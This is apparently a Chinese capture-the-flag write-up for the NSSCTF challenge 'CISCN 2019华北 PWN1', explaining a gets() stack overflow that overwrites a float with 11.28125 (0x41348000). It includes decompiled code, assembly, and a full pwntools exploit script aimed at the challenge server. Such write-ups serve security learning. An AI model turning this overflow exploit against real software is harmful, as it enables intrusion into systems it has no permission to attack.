题目
来自 nssctf:
[CISCN 2019华北]PWN1
题解
本道题的重点在于栈溢出写入浮点数。
1
2
3
4
5
6
7
8
|
_BYTE v1[44]; // [rsp+0h] [rbp-30h] BYREF
float v2; // [rsp+2Ch] [rbp-4h]
v2 = 0.0;
puts("Let's guess the number.");
gets(v1);
if ( v2 == 11.28125 )
return system("cat /flag");
|
这里判断 v2 == 11.28125
看汇编可以发现:
1
2
3
4
|
movss xmm0, [rbp+var_4]
ucomiss xmm0, cs:dword_4007F4
jnz short loc_4006CF
mov edi, offset command ; "cat /flag"
|
比较的浮点数在 loc_4006CF 内:
1
|
dword_4007F4 dd 41348000h ; DATA XREF: func+31↑r
|
得到双字的 0x41348000
再进行栈溢出就可以拿到 flag 了。
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
from pwn import *
#io = process("./[CISCN 2019华北]PWN1")
io = connect("node4.anna.nssctf.cn", 26680)
"""
float = 11.28125
binary = 0x41348000
"""
payload = b'a' * (0x30 - 0x4) + p32(0x41348000)
io.sendline(payload)
io.interactive()
|